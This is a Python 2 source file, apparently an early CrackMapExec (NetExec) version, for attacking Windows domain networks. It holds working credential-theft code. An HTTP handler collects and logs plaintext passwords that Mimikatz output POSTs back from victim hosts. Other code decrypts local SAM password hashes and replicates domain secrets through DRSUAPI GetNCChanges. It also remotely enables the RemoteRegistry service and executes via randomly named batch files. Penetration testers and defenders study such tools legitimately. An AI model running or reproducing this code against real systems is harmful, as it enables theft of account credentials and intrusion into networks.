NetExec/crackmapexec.py

3383 lines
141 KiB
Python
Raw Normal View History

2015-08-14 14:18:52 +00:00
#!/usr/bin/env python2
#Cause I got sick of dealing with Unicode decode/encode errors.. Makes all strings Unicode by default
from __future__ import unicode_literals
2015-08-14 14:18:52 +00:00
#This must be one of the first imports or else we get threading error on completion
from gevent import monkey
monkey.patch_all()
from gevent import sleep
from gevent.pool import Pool
from gevent import joinall
from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError
from multiprocessing import Process
2015-11-02 02:52:05 +00:00
from threading import Thread
2015-08-14 14:18:52 +00:00
from base64 import b64encode
from struct import unpack, pack
from collections import OrderedDict
from impacket import ntlm, winregistry, uuid, ImpactPacket
from impacket.smbserver import SMBSERVER, SRVSServer, WKSTServer
from impacket.dcerpc.v5 import transport, scmr, samr, drsuapi, rrp, tsch, srvs, wkst, epm, lsat, lsad, dtypes
from impacket.dcerpc.v5.samr import SID_NAME_USE
2015-08-14 14:18:52 +00:00
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL, OWNER_SECURITY_INFORMATION, MAXIMUM_ALLOWED
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.ese import ESENT_DB
2015-08-14 14:18:52 +00:00
from impacket.structure import Structure
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.nmb import NetBIOSError
2015-08-14 14:18:52 +00:00
from impacket.smbconnection import *
from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
2015-08-14 14:18:52 +00:00
from BaseHTTPServer import BaseHTTPRequestHandler
from argparse import RawTextHelpFormatter
from binascii import unhexlify, hexlify
from Crypto.Cipher import DES, ARC4
from datetime import datetime
from time import localtime, time, strftime, gmtime
2015-08-28 19:17:36 +00:00
from termcolor import cprint, colored
2015-08-14 14:18:52 +00:00
import StringIO
import csv
import re
import ntpath
import socket
2015-10-16 21:25:35 +00:00
import ssl
2015-08-14 14:18:52 +00:00
import hashlib
import codecs
2015-08-14 14:18:52 +00:00
import BaseHTTPServer
import logging
import argparse
import traceback
import ConfigParser
2015-08-14 14:18:52 +00:00
import random
import sys
import os
import string
PERM_DIR = ''.join(random.sample(string.ascii_letters, 10))
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat'
##################################################################################################
"""
The following is ugly ... real ugly... Unicode I hate you.
The point of this is to try in every way possible to decode/encode and print, if that fails we replace the offending chars
There has to be a better way of doing this. Halp.
"""
def print_error(message):
try:
cprint("[-] ", 'red', attrs=['bold'], end=message.decode('utf-8')+'\n')
except UnicodeEncodeError:
try:
cprint("[-] ", 'red', attrs=['bold'], end=message.encode('utf-8')+'\n')
except UnicodeDecodeError:
cprint("[-] ", 'red', attrs=['bold'], end=message+'\n')
except UnicodeDecodeError:
cprint("[-] ", 'red', attrs=['bold'], end=message+'\n')
def print_status(message):
try:
cprint("[*] ", 'blue', attrs=['bold'], end=message.decode('utf-8')+'\n')
except UnicodeEncodeError:
try:
cprint("[*] ", 'blue', attrs=['bold'], end=message.encode('utf-8')+'\n')
except Exception:
cprint("[*] ", 'blue', attrs=['bold'], end=message+'\n')
except UnicodeDecodeError:
cprint("[*] ", 'blue', attrs=['bold'], end=message+'\n')
def print_succ(message):
try:
cprint("[+] ", 'green', attrs=['bold'], end=message.decode('utf-8')+'\n')
except UnicodeEncodeError:
try:
cprint("[+] ", 'green', attrs=['bold'], end=message.encode('utf-8')+'\n')
except UnicodeDecodeError:
cprint("[+] ", 'green', attrs=['bold'], end=message+'\n')
except UnicodeDecodeError:
cprint("[+] ", 'green', attrs=['bold'], end=message+'\n')
def print_att(message):
try:
cprint(message.decode('utf-8'), 'yellow', attrs=['bold'])
except UnicodeEncodeError:
try:
cprint(message.encode('utf-8'), 'yellow', attrs=['bold'])
except UnicodeDecodeError:
cprint(message, 'yellow', attrs=['bold'])
except UnicodeDecodeError:
cprint(message, 'yellow', attrs=['bold'])
def yellow(text):
try:
return colored(str(text).decode('utf-8'), 'yellow', attrs=['bold'])
except UnicodeEncodeError:
try:
return colored(str(text).encode('utf-8'), 'yellow', attrs=['bold'])
except UnicodeDecodeError:
return colored(str(text), 'yellow', attrs=['bold'])
except UnicodeDecodeError:
return colored(str(text), 'yellow', attrs=['bold'])
def green(text):
try:
return colored(str(text).decode('utf-8'), 'green', attrs=['bold'])
except UnicodeEncodeError:
try:
return colored(str(text).encode('utf-8'), 'green', attrs=['bold'])
except UnicodeDecodeError:
return colored(str(text), 'green', attrs=['bold'])
except UnicodeDecodeError:
return colored(str(text), 'green', attrs=['bold'])
def red(text):
try:
return colored(str(text).decode('utf-8'), 'red', attrs=['bold'])
except UnicodeEncodeError:
try:
return colored(str(text).encode('utf-8'), 'red', attrs=['bold'])
except UnicodeDecodeError:
return colored(str(text), 'red', attrs=['bold'])
except UnicodeDecodeError:
return colored(str(text), 'red', attrs=['bold'])
#################################################################################################
2015-08-28 19:17:36 +00:00
2015-08-14 14:18:52 +00:00
# Structures
# Taken from http://insecurety.net/?p=768
class SAM_KEY_DATA(Structure):
structure = (
('Revision','<L=0'),
('Length','<L=0'),
('Salt','16s=""'),
('Key','16s=""'),
('CheckSum','16s=""'),
('Reserved','<Q=0'),
)
class DOMAIN_ACCOUNT_F(Structure):
structure = (
('Revision','<L=0'),
('Unknown','<L=0'),
('CreationTime','<Q=0'),
('DomainModifiedCount','<Q=0'),
('MaxPasswordAge','<Q=0'),
('MinPasswordAge','<Q=0'),
('ForceLogoff','<Q=0'),
('LockoutDuration','<Q=0'),
('LockoutObservationWindow','<Q=0'),
('ModifiedCountAtLastPromotion','<Q=0'),
('NextRid','<L=0'),
('PasswordProperties','<L=0'),
('MinPasswordLength','<H=0'),
('PasswordHistoryLength','<H=0'),
('LockoutThreshold','<H=0'),
('Unknown2','<H=0'),
('ServerState','<L=0'),
('ServerRole','<H=0'),
('UasCompatibilityRequired','<H=0'),
('Unknown3','<Q=0'),
('Key0',':', SAM_KEY_DATA),
# Commenting this, not needed and not present on Windows 2000 SP0
# ('Key1',':', SAM_KEY_DATA),
# ('Unknown4','<L=0'),
)
# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
class USER_ACCOUNT_V(Structure):
structure = (
('Unknown','12s=""'),
('NameOffset','<L=0'),
('NameLength','<L=0'),
('Unknown2','<L=0'),
('FullNameOffset','<L=0'),
('FullNameLength','<L=0'),
('Unknown3','<L=0'),
('CommentOffset','<L=0'),
('CommentLength','<L=0'),
('Unknown3','<L=0'),
('UserCommentOffset','<L=0'),
('UserCommentLength','<L=0'),
('Unknown4','<L=0'),
('Unknown5','12s=""'),
('HomeDirOffset','<L=0'),
('HomeDirLength','<L=0'),
('Unknown6','<L=0'),
('HomeDirConnectOffset','<L=0'),
('HomeDirConnectLength','<L=0'),
('Unknown7','<L=0'),
('ScriptPathOffset','<L=0'),
('ScriptPathLength','<L=0'),
('Unknown8','<L=0'),
('ProfilePathOffset','<L=0'),
('ProfilePathLength','<L=0'),
('Unknown9','<L=0'),
('WorkstationsOffset','<L=0'),
('WorkstationsLength','<L=0'),
('Unknown10','<L=0'),
('HoursAllowedOffset','<L=0'),
('HoursAllowedLength','<L=0'),
('Unknown11','<L=0'),
('Unknown12','12s=""'),
('LMHashOffset','<L=0'),
('LMHashLength','<L=0'),
('Unknown13','<L=0'),
('NTHashOffset','<L=0'),
('NTHashLength','<L=0'),
('Unknown14','<L=0'),
('Unknown15','24s=""'),
('Data',':=""'),
)
class NL_RECORD(Structure):
structure = (
('UserLength','<H=0'),
('DomainNameLength','<H=0'),
('EffectiveNameLength','<H=0'),
('FullNameLength','<H=0'),
('MetaData','52s=""'),
('FullDomainLength','<H=0'),
('Length2','<H=0'),
('CH','16s=""'),
('T','16s=""'),
('EncryptedData',':'),
)
class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
structure = (
('Value','6s'),
)
class SAMR_RPC_SID(Structure):
structure = (
('Revision','<B'),
('SubAuthorityCount','<B'),
('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
('SubAuthority',':'),
)
def formatCanonical(self):
ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5]))
for i in range(self['SubAuthorityCount']):
ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
return ans
class SMBserver:
def __init__(self, listenAddress='0.0.0.0', listenPort=445):
self.smbConfig = ConfigParser.ConfigParser()
self.smbConfig.add_section('global')
self.smbConfig.set('global','server_name',''.join([random.choice(string.letters) for _ in range(8)]))
self.smbConfig.set('global','server_os',''.join([random.choice(string.letters) for _ in range(8)]))
self.smbConfig.set('global','server_domain',''.join([random.choice(string.letters) for _ in range(8)]))
2015-11-02 02:52:05 +00:00
self.smbConfig.set('global','log_file',str(''))
self.smbConfig.set('global','rpc_apis','yes')
2015-11-02 02:52:05 +00:00
self.smbConfig.set('global','credentials_file',str(''))
self.smbConfig.set('global', 'challenge', str(''))
self.smbConfig.set("global", 'SMB2Support', 'True')
# IPC always needed
self.smbConfig.add_section('IPC$')
2015-11-02 02:52:05 +00:00
self.smbConfig.set('IPC$','comment',str(''))
self.smbConfig.set('IPC$','read only','yes')
self.smbConfig.set('IPC$','share type','3')
2015-11-02 02:52:05 +00:00
self.smbConfig.set('IPC$','path',str(''))
self.smbConfig.add_section('TMP')
2015-11-02 02:52:05 +00:00
self.smbConfig.set('TMP','comment',str(''))
self.smbConfig.set('TMP','read only','no')
self.smbConfig.set('TMP','share type','0')
2015-11-02 02:52:05 +00:00
self.smbConfig.set('TMP','path', 'hosted')
if args.path:
self.smbConfig.add_section('TMP2')
2015-11-02 02:52:05 +00:00
self.smbConfig.set('TMP2','comment',str(''))
self.smbConfig.set('TMP2','read only','yes')
self.smbConfig.set('TMP2','share type','0')
self.smbConfig.set('TMP2','path', args.path)
self.server = SMBSERVER((listenAddress,listenPort), config_parser=self.smbConfig)
self.server.processConfigFile()
# Now we have to register the MS-SRVS server. This specially important for
# Windows 7+ and Mavericks clients since they WONT (specially OSX)
# ask for shares using MS-RAP.
self.srvsServer = SRVSServer()
self.srvsServer.daemon = True
self.wkstServer = WKSTServer()
self.wkstServer.daemon = True
self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.srvsServer.getListenPort()))
self.server.registerNamedPipe('wkssvc',('127.0.0.1',self.wkstServer.getListenPort()))
def serve_forever(self):
self.srvsServer.start()
self.wkstServer.start()
self.server.serve_forever()
2015-08-14 14:18:52 +00:00
class MimikatzServer(BaseHTTPRequestHandler):
def do_GET(self):
2015-10-23 01:20:07 +00:00
if self.path[5:] in os.listdir('hosted'):
2015-08-14 14:18:52 +00:00
self.send_response(200)
self.end_headers()
2015-10-23 01:20:07 +00:00
with open('hosted/'+ self.path[4:], 'r') as script:
self.wfile.write(script.read())
elif args.path:
2015-10-23 01:20:07 +00:00
if self.path[6:] == args.path.split('/')[-1]:
self.send_response(200)
self.end_headers()
with open(args.path, 'rb') as rbin:
self.wfile.write(rbin.read())
2015-08-14 14:18:52 +00:00
else:
self.send_response(404)
self.end_headers()
def do_POST(self):
self.send_response(200)
self.end_headers()
length = int(self.headers.getheader('content-length'))
data = self.rfile.read(length)
if args.mimikatz:
buf = StringIO.StringIO(data).readlines()
i = 0
while i < len(buf):
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
passw = buf[i].split(':')[1].strip()
if len(passw) != 719:
domain = buf[i-1].split(':')[1].strip()
user = buf[i-2].split(':')[1].strip()
print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw)))
i += 1
elif args.mimi_cmd:
print data
log_name = 'Mimikatz-{}-{}.log'.format(self.client_address[0], datetime.now().strftime("%Y-%m-%d_%H:%M:%S"))
with open('logs/' + log_name, 'w') as creds:
creds.write(data)
print_status("{} Saved POST data to {}".format(self.client_address[0], yellow(log_name)))
2015-08-14 14:18:52 +00:00
class OfflineRegistry:
def __init__(self, hiveFile = None, isRemote = False):
self.__hiveFile = hiveFile
if self.__hiveFile is not None:
self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
def enumKey(self, searchKey):
parentKey = self.__registryHive.findKey(searchKey)
if parentKey is None:
return
keys = self.__registryHive.enumKey(parentKey)
return keys
def enumValues(self, searchKey):
key = self.__registryHive.findKey(searchKey)
if key is None:
return
values = self.__registryHive.enumValues(key)
return values
def getValue(self, keyValue):
value = self.__registryHive.getValue(keyValue)
if value is None:
return
return value
def getClass(self, className):
value = self.__registryHive.getClass(className)
if value is None:
return
return value
def finish(self):
if self.__hiveFile is not None:
# Remove temp file and whatever else is needed
self.__registryHive.close()
class SAMHashes(OfflineRegistry):
def __init__(self, samFile, bootKey, isRemote = True):
OfflineRegistry.__init__(self, samFile, isRemote)
self.__samFile = samFile
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__cryptoCommon = CryptoCommon()
self.__itemsFound = {}
def MD5(self, data):
md5 = hashlib.new('md5')
md5.update(data)
return md5.digest()
def getHBootKey(self):
#logging.debug('Calculating HashedBootKey from SAM')
2015-08-14 14:18:52 +00:00
QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
DIGITS = "0123456789012345678901234567890123456789\0"
F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1]
domainData = DOMAIN_ACCOUNT_F(F)
rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS)
rc4 = ARC4.new(rc4Key)
self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum'])
# Verify key with checksum
checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
if checkSum != self.__hashedBootKey[16:]:
raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
def __decryptHash(self, rid, cryptedHash, constant):
# Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
# plus hashedBootKey stuff
Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
rc4 = ARC4.new(rc4Key)
key = rc4.encrypt(cryptedHash)
decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
return decryptedHash
def dump(self):
NTPASSWORD = "NTPASSWORD\0"
LMPASSWORD = "LMPASSWORD\0"
if self.__samFile is None:
# No SAM file provided
return
sam_hashes = []
#logging.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
2015-08-14 14:18:52 +00:00
self.getHBootKey()
usersKey = 'SAM\\Domains\\Account\\Users'
# Enumerate all the RIDs
rids = self.enumKey(usersKey)
# Remove the Names item
try:
rids.remove('Names')
except:
pass
for rid in rids:
userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
rid = int(rid,16)
V = userAccount['Data']
userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
if userAccount['LMHashLength'] == 20:
encLMHash = V[userAccount['LMHashOffset']+4:userAccount['LMHashOffset']+userAccount['LMHashLength']]
else:
encLMHash = ''
if userAccount['NTHashLength'] == 20:
encNTHash = V[userAccount['NTHashOffset']+4:userAccount['NTHashOffset']+userAccount['NTHashLength']]
else:
encNTHash = ''
lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD)
ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD)
if lmHash == '':
lmHash = ntlm.LMOWFv1('','')
if ntHash == '':
ntHash = ntlm.NTOWFv1('','')
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
self.__itemsFound[rid] = answer
sam_hashes.append(answer)
return sam_hashes
2015-08-14 14:18:52 +00:00
def export(self, fileName):
if len(self.__itemsFound) > 0:
items = sorted(self.__itemsFound)
fd = open(fileName+'.sam','w+')
for item in items:
fd.write(self.__itemsFound[item]+'\n')
fd.close()
class CryptoCommon:
# Common crypto stuff used over different classes
def transformKey(self, InputKey):
# Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key
OutputKey = []
OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
for i in range(8):
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
return "".join(OutputKey)
def deriveKey(self, baseKey):
# 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
# Let I be the little-endian, unsigned integer.
# Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
# Note that because I is in little-endian byte order, I[0] is the least significant byte.
# Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
# Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
key = pack('<L',baseKey)
key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2]
key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1]
return self.transformKey(key1),self.transformKey(key2)
class RemoteFile:
def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ):
2015-08-14 14:18:52 +00:00
self.__smbConnection = smbConnection
self.__share = share
self.__access = access
2015-08-14 14:18:52 +00:00
self.__fileName = fileName
self.__tid = self.__smbConnection.connectTree(share)
2015-08-14 14:18:52 +00:00
self.__fid = None
self.__currentOffset = 0
def open(self):
self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess = self.__access)
2015-08-14 14:18:52 +00:00
def seek(self, offset, whence):
# Implement whence, for now it's always from the beginning of the file
if whence == 0:
self.__currentOffset = offset
def read(self, bytesToRead):
if bytesToRead > 0:
data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
self.__currentOffset += len(data)
return data
return ''
def close(self):
if self.__fid is not None:
self.__smbConnection.closeFile(self.__tid, self.__fid)
self.__fid = None
def delete(self):
self.__smbConnection.deleteFile(self.__share, self.__fileName)
2015-08-14 14:18:52 +00:00
def tell(self):
return self.__currentOffset
def __str__(self):
return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName)
2015-08-14 14:18:52 +00:00
class RemoteOperations:
def __init__(self, smbConnection):
self.__smbConnection = smbConnection
self.__smbConnection.setTimeout(5*60)
self.__serviceName = 'RemoteRegistry'
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
self.__rrp = None
self.__regHandle = None
self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
self.__samr = None
self.__domainHandle = None
self.__domainName = None
self.__drsr = None
self.__hDrs = None
self.__NtdsDsaObjectGuid = None
self.__doKerberos = None
self.__bootKey = ''
self.__disabled = False
self.__shouldStop = False
self.__started = False
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
self.__scmr = None
self.__tmpServiceName = None
self.__serviceDeleted = False
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
2015-08-14 14:18:52 +00:00
self.__shell = '%COMSPEC% /Q /c '
self.__output = '%SYSTEMROOT%\\Temp\\' + OUTPUT_FILENAME
2015-08-14 14:18:52 +00:00
self.__answerTMP = ''
def __connectSvcCtl(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
rpc.set_smb_connection(self.__smbConnection)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
def __connectWinReg(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
rpc.set_smb_connection(self.__smbConnection)
self.__rrp = rpc.get_dce_rpc()
self.__rrp.connect()
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
def connectSamr(self, domain):
rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
rpc.set_smb_connection(self.__smbConnection)
self.__samr = rpc.get_dce_rpc()
self.__samr.connect()
self.__samr.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(self.__samr)
serverHandle = resp['ServerHandle']
resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
self.__domainHandle = resp['DomainHandle']
self.__domainName = domain
def __connectDrds(self):
stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
protocol='ncacn_ip_tcp')
rpc = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpc.set_credentials(*(self.__smbConnection.getCredentials()))
rpc.set_kerberos(self.__doKerberos)
self.__drsr = rpc.get_dce_rpc()
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if self.__doKerberos:
self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.__drsr.connect()
self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
request = drsuapi.DRSBind()
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
drs = drsuapi.DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = drsuapi.NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = drsuapi.DRS_EXT_RECYCLE_BIN
drs['ConfigObjGUID'] = drsuapi.NULLGUID
drs['dwExtCaps'] = 0
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = self.__drsr.request(request)
self.__hDrs = resp['phDrs']
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
if resp['pmsgOut']['V2']['cItems'] > 0:
self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
else:
logging.error("Couldn't get DC info for domain %s" % self.__domainName)
2015-08-14 14:18:52 +00:00
raise Exception('Fatal, aborting')
def getDrsr(self):
return self.__drsr
def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
if self.__drsr is None:
self.__connectDrds()
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
return resp
def DRSGetNCChanges(self, userEntry):
if self.__drsr is None:
self.__connectDrds()
request = drsuapi.DRSGetNCChanges()
request['hDrs'] = self.__hDrs
request['dwInVersion'] = 8
request['pmsgIn']['tag'] = 8
request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
dsName = drsuapi.DSNAME()
dsName['SidLen'] = 0
dsName['Guid'] = drsuapi.NULLGUID
dsName['Sid'] = ''
dsName['NameLen'] = len(userEntry)
dsName['StringName'] = (userEntry + '\x00')
dsName['structLen'] = len(dsName.getData())
request['pmsgIn']['V8']['pNC'] = dsName
request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
2015-08-14 14:18:52 +00:00
request['pmsgIn']['V8']['cMaxObjects'] = 1
request['pmsgIn']['V8']['cMaxBytes'] = 0
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
2015-08-14 14:18:52 +00:00
request['pmsgIn']['V8']['pPartialAttrSet'] = NULL
request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = NULL
return self.__drsr.request(request)
def getDomainUsers(self, enumerationContext=0):
if self.__samr is None:
self.connectSamr(self.getMachineNameAndDomain()[1])
try:
resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
userAccountControl=samr.USER_NORMAL_ACCOUNT | \
samr.USER_WORKSTATION_TRUST_ACCOUNT | \
samr.USER_SERVER_TRUST_ACCOUNT |\
samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
enumerationContext=enumerationContext)
except DCERPCException, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()
return resp
def ridToSid(self, rid):
if self.__samr is None:
self.connectSamr(self.getMachineNameAndDomain()[1])
resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
return resp['Sid']
2015-08-14 14:18:52 +00:00
def getMachineNameAndDomain(self):
if self.__smbConnection.getServerName() == '':
# No serverName.. this is either because we're doing Kerberos
# or not receiving that data during the login process.
# Let's try getting it through RPC
rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
rpc.set_smb_connection(self.__smbConnection)
dce = rpc.get_dce_rpc()
dce.connect()
dce.bind(wkst.MSRPC_UUID_WKST)
resp = wkst.hNetrWkstaGetInfo(dce, 100)
dce.disconnect()
return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1]
else:
return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
def getDefaultLoginAccount(self):
try:
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
keyHandle = ans['phkResult']
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
username = dataValue[:-1]
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
domain = dataValue[:-1]
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
if len(domain) > 0:
return '%s\\%s' % (domain,username)
else:
return username
except:
return None
def getServiceAccount(self, serviceName):
try:
# Open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
serviceHandle = ans['lpServiceHandle']
resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
if account.startswith('.\\'):
account = account[2:]
return account
except Exception, e:
logging.error(e)
2015-08-14 14:18:52 +00:00
return None
def __checkServiceStatus(self):
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
self.__serviceHandle = ans['lpServiceHandle']
# Let's check its status
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
logging.info('Service %s is in stopped state'% self.__serviceName)
2015-08-14 14:18:52 +00:00
self.__shouldStop = True
self.__started = False
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
logging.debug('Service %s is already running'% self.__serviceName)
2015-08-14 14:18:52 +00:00
self.__shouldStop = False
self.__started = True
else:
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
# Let's check its configuration if service is stopped, maybe it's disabled :s
if self.__started is False:
ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
if ans['lpServiceConfig']['dwStartType'] == 0x4:
logging.info('Service %s is disabled, enabling it'% self.__serviceName)
2015-08-14 14:18:52 +00:00
self.__disabled = True
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
logging.info('Starting service %s' % self.__serviceName)
2015-08-14 14:18:52 +00:00
scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
sleep(1)
def enableRegistry(self):
self.__connectSvcCtl()
self.__checkServiceStatus()
self.__connectWinReg()
def __restore(self):
# First of all stop the service if it was originally stopped
if self.__shouldStop is True:
logging.info('Stopping service %s' % self.__serviceName)
2015-08-14 14:18:52 +00:00
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
if self.__disabled is True:
logging.info('Restoring the disabled state for service %s' % self.__serviceName)
